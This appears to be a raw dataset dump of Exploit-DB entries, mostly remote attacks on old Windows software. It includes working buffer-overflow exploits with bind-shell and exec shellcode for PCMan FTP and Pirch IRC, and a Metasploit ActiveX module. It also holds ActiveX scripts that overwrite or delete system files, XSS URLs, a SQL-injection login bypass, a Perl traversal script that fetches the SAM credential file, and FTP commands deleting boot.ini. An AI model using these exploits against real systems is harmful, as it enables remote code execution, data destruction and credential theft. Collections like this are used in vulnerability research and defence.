deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31789
Description: PCMan FTP Server 2.07 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2014-02-20
Author: Sumit

Exploit:
# Exploit Title: PCMAN FTP 2.07 Long Command Buffer Overflow (unauthenticated)
# Date: Feb 19, 2014
# Exploit Author: Sumit
# Version: 2.07
# Tested on: Windows XP Professional SP3
# Description: Buffer overflow is triggered upon sending long string to PCMAN FTP 2.07 in place of command
#

import socket
import datetime

"""
You have to take into account your IP addr and servers date (if using NAT, check external IP) as buffer starts like the following:
2014/2/20 [00:40] (00320) 127.0.0.100> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
"""

host = '192.168.213.10'

d = str(datetime.datetime.today()).split()[0].split('-') # You should ideally consider servers date here
for i in range(len(d)): d[i] = str(int(d[i]))
d = '/'.join(d)	# Finally we got the date

# msfvenom -p windows/shell_bind_tcp -b '\x00\x0a\x0d'
shellcode = (
"\xda\xdb\xd9\x74\x24\xf4\xbe\xb5\x40\x16\xb6\x5b\x2b\xc9" +
"\xb1\x56\x31\x73\x18\x83\xeb\xfc\x03\x73\xa1\xa2\xe3\x4a" +
"\x21\xab\x0c\xb3\xb1\xcc\x85\x56\x80\xde\xf2\x13\xb0\xee" +
"\x71\x71\x38\x84\xd4\x62\xcb\xe8\xf0\x85\x7c\x46\x27\xab" +
"\x7d\x66\xe7\x67\xbd\xe8\x9b\x75\x91\xca\xa2\xb5\xe4\x0b" +
"\xe2\xa8\x06\x59\xbb\xa7\xb4\x4e\xc8\xfa\x04\x6e\x1e\x71" +
"\x34\x08\x1b\x46\xc0\xa2\x22\x97\x78\xb8\x6d\x0f\xf3\xe6" +
"\x4d\x2e\xd0\xf4\xb2\x79\x5d\xce\x41\x78\xb7\x1e\xa9\x4a" +
"\xf7\xcd\x94\x62\xfa\x0c\xd0\x45\xe4\x7a\x2a\xb6\x99\x7c" +
"\xe9\xc4\x45\x08\xec\x6f\x0e\xaa\xd4\x8e\xc3\x2d\x9e\x9d" +
"\xa8\x3a\xf8\x81\x2f\xee\x72\xbd\xa4\x11\x55\x37\xfe\x35" +
"\x71\x13\xa5\x54\x20\xf9\x08\x68\x32\xa5\xf5\xcc\x38\x44" +
"\xe2\x77\x63\x01\xc7\x45\x9c\xd1\x4f\xdd\xef\xe3\xd0\x75" +
"\x78\x48\x99\x53\x7f\xaf\xb0\x24\xef\x4e\x3a\x55\x39\x95" +
"\x6e\x05\x51\x3c\x0e\xce\xa1\xc1\xdb\x41\xf2\x6d\xb3\x21" +
"\xa2\xcd\x63\xca\xa8\xc1\x5c\xea\xd2\x0b\xeb\x2c\x1d\x6f" +
"\xb8\xda\x5c\x8f\x2f\x47\xe8\x69\x25\x67\xbc\x22\xd1\x45" +
"\x9b\xfa\x46\xb5\xc9\x56\xdf\x21\x45\xb1\xe7\x4e\x56\x97" +
"\x44\xe2\xfe\x70\x1e\xe8\x3a\x60\x21\x25\x6b\xeb\x1a\xae" +
"\xe1\x85\xe9\x4e\xf5\x8f\x99\xf3\x64\x54\x59\x7d\x95\xc3" +
"\x0e\x2a\x6b\x1a\xda\xc6\xd2\xb4\xf8\x1a\x82\xff\xb8\xc0" +
"\x77\x01\x41\x84\xcc\x25\x51\x50\xcc\x61\x05\x0c\x9b\x3f" +
"\xf3\xea\x75\x8e\xad\xa4\x2a\x58\x39\x30\x01\x5b\x3f\x3d" +
"\x4c\x2d\xdf\x8c\x39\x68\xe0\x21\xae\x7c\x99\x5f\x4e\x82" +
"\x70\xe4\x7e\xc9\xd8\x4d\x17\x94\x89\xcf\x7a\x27\x64\x13" +
"\x83\xa4\x8c\xec\x70\xb4\xe5\xe9\x3d\x72\x16\x80\x2e\x17" +
"\x18\x37\x4e\x32")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 21))

nop = '\x90'*50
eip = '\x53\x93\x42\x7E' # EIP = 7E429353; JMP ESP in USER32.dll
myip = s.getsockname()[0]
padding = 'A' * (2029 - (len(d) + len(myip)))

buf = padding + eip + nop + shellcode

s.send('%s\r\n' % (buf))
s.recv(1024)
print 'Payload sent'
s.close()
Exploit-DB #6414
Description: Peachtree Accounting 2004 - 'PAWWeb11.ocx' ActiveX Insecure Method
Type: remote
Platform: windows
Date: 2008-09-10
Author: Jeremy Brown

Exploit:
<!-- Jeremy Brown (0xjbrown41@gmail.com/jbrownsec.blogspot.com)
     Peachtree Accounting Remote (SfS/SfI) Exploit
     Tested on Peachtree Accounting 2004 / Windows XP / IE6
     All Peachtree software that includes PAWWeb11.ocx are assumed vulnerable -->

<html><body>

<object id=target classid=clsid:2BCEAECE-6121-4E78-816C-8CD3121361B0></object>
<script language=vbscript>


arg1="C:/WINDOWS/system32/calc.exe"
target.ExecutePreferredApplication arg1

</script>
</body></html>

# milw0rm.com [2008-09-10]
Exploit-DB #4488
Description: Pegasus Imaging ImagXpress 8.0 - Arbitrary File Overwrite
Type: remote
Platform: windows
Date: 2007-10-05
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>Pegasus Imaging ImagXpress 8.0 Remote Arbitrary File Overwrite</b>
 url: http://www.pegasusimaging.com/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 <b>Description:
 Component name: PegasusImaging.ActiveX.ImagXpress8.dll
 Vesrion: 8.0.41.0
 This component contains an insecure "CompactFile()" which overwrites
 arbitrary files on user's pc.
 Passing to the first parameter (sourceFile) of the method an existing
 file as argument (e.g. a well known file as cmd.exe), the file passed
 as argument to the second parameter (destFile) will be overwrite.</b>
-----------------------------------------------------------------------------
<object classid='clsid:6277B638-833D-4315-9D78-60FC451DAF07' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   test.CompactFile "c:\windows\system32\cmd.exe", "c:\windows\system_.ini"
   MsgBox "Exploit completed."
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-10-05]
Exploit-DB #4487
Description: Pegasus Imaging ThumbnailXpress 1.0 - Arbitrary File Deletion
Type: remote
Platform: windows
Date: 2007-10-05
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>Pegasus Imaging ThumbnailXpress 1.0 Remote Arbitrary File Deletion</b>
 url: http://www.pegasusimaging.com/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 <b>Description:
 Component name: PegasusImaging.ActiveX.ThumbnailXpress1.dll
 Version: 1.0.45.0
 This control contains an insecure "CacheFile()" method that delete, once
 the process is terminated, the file passed as argument.</b>
-----------------------------------------------------------------------------
<object classid='clsid:F3379712-5D3C-4F57-92D9-09AC0657719A' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   test.CacheFile = "c:\windows\system_.ini"
   MsgBox "Exploit completed."
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-10-05]
Exploit-DB #21648
Description: Pegasus Mail 4.0 1 - Message Header Buffer Overflow
Type: remote
Platform: windows
Date: 2002-07-24
Author: Auriemma Luigi

Exploit:
source: https://www.securityfocus.com/bid/5302/info

Pegasus Mail is an email client for Microsoft Windows and DOS based systems. A buffer overflow vulnerability has been reported in some versions of Pegasus Mail.

Reportedly, Pegasus is vulnerable to a buffer overflow condition when processing some long message headers. If either the 'To:' or 'From:' message headers are longer than approximately 259 characters, Pegasus may crash when displaying the message.

This issue has been reported in Pegasus Mail 4.01. Earlier versions may share this vulnerability, this has not however been confirmed.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21648.zip
Exploit-DB #21999
Description: Perception LiteServe 2.0.1 - Directory Query String Cross-Site Scripting
Type: remote
Platform: windows
Date: 2002-11-08
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/6143/info

A cross site scripting vulnerability has been discovered in Perception LiteServe.

It has been reported that LiteServe fails to sanitize query strings from indexed folders. It is possible for an attacker to exploit this issue by constructing a malicious link, containing encoded HTML and script code.

When the malicious link is clicked by an unsuspecting user, the attacker-supplied HTML and script code will be executed by their web client.

Attacks of this nature may make it possible for attackers to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user. 

http://liteserve.net/dir?%3CIMG%20SRC%3D%22%22%20ONERROR%3D%22alert%28location%2Ehref%29%22%3E

http://liteserve.net/dir?%3C%2FTITLE%3E%3CIMG%20SRC%3D%22%22%20ONERROR%3D%22alert%28location%2Ehref%29%22%3E
Exploit-DB #21997
Description: Perception LiteServe 2.0.1 - DNS Wildcard Cross-Site Scripting
Type: remote
Platform: windows
Date: 2002-11-08
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/6131/info

A cross site scripting vulnerability has been discovered in Perception LiteServe. It should be noted that this vulnerability is limited to server configurations with Wildcard DNS enabled.

It has been reported that LiteServe fails to sanitize requested hostnames when Wildcard DNS is used. This issue may allow an attacker to create a malicious link containing encoded HTML and script code in the requested hostname.

When the malicious link is clicked by an unsuspecting user, the attacker-supplied HTML and script code will be executed by their web client.

Attacks of this nature may make it possible for attackers to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user.

This issue was reported in LiteServe v2.01. It is not yet known whether earlier versions are affected by this issue. 


http://%3CIMG%20SRC%3D%22%22%20ONERROR%3D%22alert%28location%2Ehref%29%22%3E.liteserve.net/dir
Exploit-DB #16576
Description: Persits XUpload - ActiveX AddFile Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: hp_loadrunner_addfile.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Persits XUpload ActiveX AddFile Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Persits Software Inc's
				XUpload ActiveX control(version 3.0.0.3) thats included in HP LoadRunner 9.5.
				By passing an overly long string to the AddFile method, an attacker may be
				able to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'jduck' ],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2008-0492'],
					[ 'OSVDB', '40762'],
					[ 'BID', '27456' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/4987' ],
					[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-December/059296.html' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'XUpload.ocx 3.0.0.3 on Windows XP SP3 / IE6 SP3',
						{
							'Ret' => 0x10019d6e # pop/pop/ret @ XUpload.ocx
						}
					],
				],
			'DisclosureDate' => 'Jan 25 2008',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname	= rand_text_alpha(rand(100) + 1)
		strname	= rand_text_alpha(rand(100) + 1)

		# Set the exploit buffer
		sploit = rand_text_alpha(738)
		sploit << generate_seh_payload(target.ret)
		sploit << p.encoded
		sploit << rand_text(1000) * 25
		sploit = Rex::Text.to_unescape(sploit)

		# Build out the message
		content = %Q|<html>
<script language='javascript'>
function check()
{
#{strname} = new String(unescape("#{sploit}"));
#{vname}.AddFile(#{strname});
}
</script>
<body onload='javascript:check()'>
<object classid='clsid:E87F6C8E-16C0-11D3-BEF7[PII_REDACTED]03' id='#{vname}'></object>
</body>
</html>
|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
Exploit-DB #8368
Description: peterConnects Web Server - Traversal Arbitrary File Access
Type: remote
Platform: windows
Date: 2009-04-08
Author: Bugs NotHugs

Exploit:
- PeterConnects Web Server Traversal Arbitrary File Access

- Description

PeterConnects products use a web server that is vulnerable to classic
directory traversal (hello 1987) that allows for arbitrary file
access.

- Product

PeterConnects, Unknown Product, Unknown Version

(blind external tests not so good for full disclosure)

http://www.peter-connects.com/

- PoC

$ telnet 205.206.231.15 80
Trying 205.206.231.15...
Connected to 205.206.231.15.
Escape character is '^]'.
GET /../../../../boot.ini HTTP/1.0

HTTP/1.0 200 OK
Content-Type: application/octet-stream
Content-Length: 303

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003,
Enterprise" /noexecute=optout /fastdetect
multi(0)disk(0)rdisk(0)partition(4)\WINDOWS="Microsoft Windows XP
Professional" /fastdetect
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
[truncated]

- Solution

None

# milw0rm.com [2009-04-08]
Exploit-DB #46934
Description: Petraware pTransformer ADC < 2.1.7.22827 - Login Bypass
Type: remote
Platform: windows
Date: 2019-05-28
Author: Faudhzan Rahman

Exploit:
# Exploit Title: Petraware pTransformer ADC before 2.1.7.22827 allows SQL
Injection via the User ID parameter to the login form.
# Date: 28-05-2019
# Exploit Author: Faudhzan Rahman
# Website: https://faudhzanrahman.blogspot.com/
# Vendor Homepage: http://www.petraware.com
# Version: 2.0
# CVE : CVE-2019-12372
# Tested on: Windows 10 Pro

*Description*

The login form on pTransformer ADC does not filter dangerous character such
as single quote ('). This has cause the application to be vulnerable to SQL
Injection.

*Proof-of-concept*

The vulnerable parameter is User ID. By injecting ' or '1'='1'-- ,it will
bypass the login form.

*Reference*

https://faudhzanrahman.blogspot.com/2019/05/sql-injection-on-login-form.html
Exploit-DB #25023
Description: PGN2WEB 0.3 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2004-12-15
Author: Tom Palarz

Exploit:
source: https://www.securityfocus.com/bid/12023/info

It is reported that pgn2web is susceptible to a buffer overflow vulnerability. This issue is due to a failure of the application to properly bounds check user-supplied data prior to copying it into a fixed-size memory buffer.

This vulnerability allow remote attackers to alter the proper flow of execution of the application, potentially resulting in the execution of attacker-supplied machine code in the context of the application attempting to read malicious PGN files. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25023.zip
Exploit-DB #38330
Description: Photodex ProShow Producer - Multiple DLL Loading Arbitrary Code Execution Vulnerabilities
Type: remote
Platform: windows
Date: 2013-02-23
Author: Julien Ahrens

Exploit:
source: https://www.securityfocus.com/bid/58131/info

Photodex ProShow Producer is prone to multiple arbitrary code-execution vulnerabilities.

An attacker can exploit these issues by enticing a legitimate user to use the vulnerable application to open a customized library file from application path which contains a specially crafted code. Successful exploits will compromise the application in the context of the currently logged-in user.

Photodex ProShow Producer 5.0.3297 is vulnerable; other versions may also be affected. 

// wine gcc -Wall -shared inject.c -o ddraw.dll
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hInstDLL, DWORD dwReason, LPVOID lpvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        MessageBox(0,"DLL Injection","DLL Injection", 0);
    }
return TRUE;
}
Exploit-DB #21292
Description: Phusion WebServer 1.0 - Directory Traversal (2)
Type: remote
Platform: windows
Date: 2002-02-16
Author: Alex Hernandez

Exploit:
source: https://www.securityfocus.com/bid/4117/info
 
Phusion Webserver is a commercial HTTP server that runs on Microsoft Windows 9x/NT/2000 operating systems.
 
Phusion Webserver is prone to directory traversal attacks. It is possible to break out of wwwroot using triple-dot-slash (.../) sequences containing HTTP-encoded variations of "/" and "\". As a result, a malicious web user may browse web-readable files on the host running the vulnerable software.
 
This vulnerability may potentially result in the disclosure of sensitive information contained in web-readable files on the host.
 
It should be noted that webservers normally run with SYSTEM privileges on Microsoft Windows operating systems. 

#!/usr/bin/perl
#
# THIS SCRIPT ONLY FOR WINDOWS WITH PERL OR CYGWIN 
# 
# Simple script to get files on server. 
# 
# Maybe u need this line for windows:
# #! c:\perl\bin\perl.exe
#
# Phusion Webserver v1.0 proof-of-concept exploit.
# By Alex Hernandez <al3xhernandez@ureach.com> (C)2002.
#
# Thanks all the people from Spain and Argentina.
# Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins, 
# G.Maggiotti & H.Oliveira.
# 
#
# Usage: perl -x Phusion-GET.pl <And read the Intructions>
#  
#


print("\nPhusion Webserver v1.0 GET Files exploit (c)2002.\n");
print("Alex Hernandez al3xhernandez\@ureach.com\n\n");


print <<"EOT";
Please type the address remote webserver, example: www.whitehouse.gov
[Default remote Webserver is "127.0.0.1"`]:
EOT
$host = <>;

print <<"EOT";
Please type only in the directory where the file is located you want to
download, 
example: /winnt/repair/
[default directory is "/winnt/repair/"] :#For IIS 4-5
EOT
$directory = <> || "/winnt/repair/";


print <<"EOT";
Please type in the filename you want download example: sam._ 
[default file is "sam._"] :
EOT
$file = <> || "sam._";

{
#Maybe u to change this line depending of PATH installation.
system("explorer.exe", "http://$host:80/../../..$directory$file");
}

print <<"EOT";
Exploit-DB #9128
Description: Pirch IRC 98 Client - 'Response' Remote Buffer Overflow (SEH)
Type: remote
Platform: windows
Date: 2009-07-12
Author: His0k4

Exploit:
#!/usr/bin/python
#[*] Usage : python pirch.py
# _  _   _         __    _     _ _  
#| || | (_)  ___  /  \  | |__ | | | 
#| __ | | | (_-< | () | | / / |_  _|
#|_||_| |_| /__/  \__/  |_\_\   |_| 
#
#[*] Bug     :      Pirch IRC 98 Client (response) Remote BOF Exploit (SEH)
#[*] Tested on :    Xp sp3 (EN)(VB)
#[*] Ref	:   Bid 5079
#[*] Exploited by : His0k4
#[*] Greetings :    All friends (DZ)


from socket import *

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x58\x4e\x47"
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x34\x4a\x41\x4b\x58"
"\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x48"
"\x4f\x55\x46\x52\x41\x30\x4b\x4e\x48\x56\x4b\x48\x4e\x30\x4b\x34"
"\x4b\x48\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x58"
"\x41\x50\x4b\x4e\x49\x48\x4e\x55\x46\x42\x46\x50\x43\x4c\x41\x43"
"\x42\x4c\x46\x36\x4b\x38\x42\x54\x42\x33\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x48\x42\x38\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x58\x4a\x56\x4e\x43\x4f\x35\x41\x33"
"\x48\x4f\x42\x46\x48\x55\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x45\x4a\x46\x42\x4f\x4c\x58\x46\x30\x4f\x35\x4a\x46\x4a\x59"
"\x50\x4f\x4c\x58\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x56"
"\x4e\x36\x43\x56\x42\x30\x5a")

payload =  "DZ" #Trick track
payload += shellcode
payload += "\x41"*(1035-len(shellcode))
payload += "\xE8\xF0\xFB\xFF\xFF" # back again
payload += "\x42"*5
payload += "\xEB\xF4\xFF\xFF" # back
payload += "\x9A\x2B\x40\x0A" # lucky x0A=>x00  ;)   univ p/p/r


head =  ":irc.localhost 001 attacker :Welcome to the Internet Relay Chat network, attacker!pirch@0.0.0.0\r\n"
head += ":attacker_test!pirch@0.0.0.gl08= MODE "+payload+" :-i\r\n"


s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 6667))
s.listen(1)

print "[*] Listening on [IRC] 6667"
c, addr = s.accept()
print "[*] Connection accepted from: %s" % (addr[0])
c.recv(1024)
c.send(head)

raw_input("[*] Payload sended!\nPress key to exit")
c.close()
s.close()

# milw0rm.com [2009-07-12]
Exploit-DB #29575
Description: Plain Old WebServer 0.0.7/0.0.8 Firefox Extension - Directory Traversal
Type: remote
Platform: windows
Date: 2006-09-25
Author: Stefano Di Paola

Exploit:
source: https://www.securityfocus.com/bid/22502/info

Plain Old Webserver is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue may allow an attacker to access sensitive information that could aid in further attacks.

Version 0.0.7 is vulnerable; other versions may also be affected. 

http://www.example.com/../../../../[file]
Exploit-DB #22113
Description: PlatinumFTPServer 1.0.6 - Arbitrary File Deletion
Type: remote
Platform: windows
Date: 2002-12-30
Author: Dennis Rand

Exploit:
source: https://www.securityfocus.com/bid/6493/info

It has been reported that PlatinumFTPserver fails to properly sanitize some FTP commands. By sending a malicious request to the vulnerable server, using directory traversal sequences, it is possible for a remote attacker to delete sensitive resources located outside of the FTP root.

Deleting arbitrary files may render the system unusable. Other scenarios are also possible. 

delete ..\..\..\..\boot.ini
Exploit-DB #22136
Description: PlatinumFTPServer 1.0.6 - Directory Traversal
Type: remote
Platform: windows
Date: 2003-01-07
Author: Dennis Rand

Exploit:
source: https://www.securityfocus.com/bid/6554/info

PlatinumFTPserver is an FTP server for Microsoft Windows systems. It is commercially available, and distributed by PlatinumFTP.

A directory traversal vulnerability has been reported in PlatinumFTPserver. The program does not sufficiently handle dot-dot-slash input, which could result in an attacker gaining access to unauthorized resources. 

dir ..\directory

where directory represents a directory outside the FTP root.

del ..\file

where file represents a file outside the FTP root.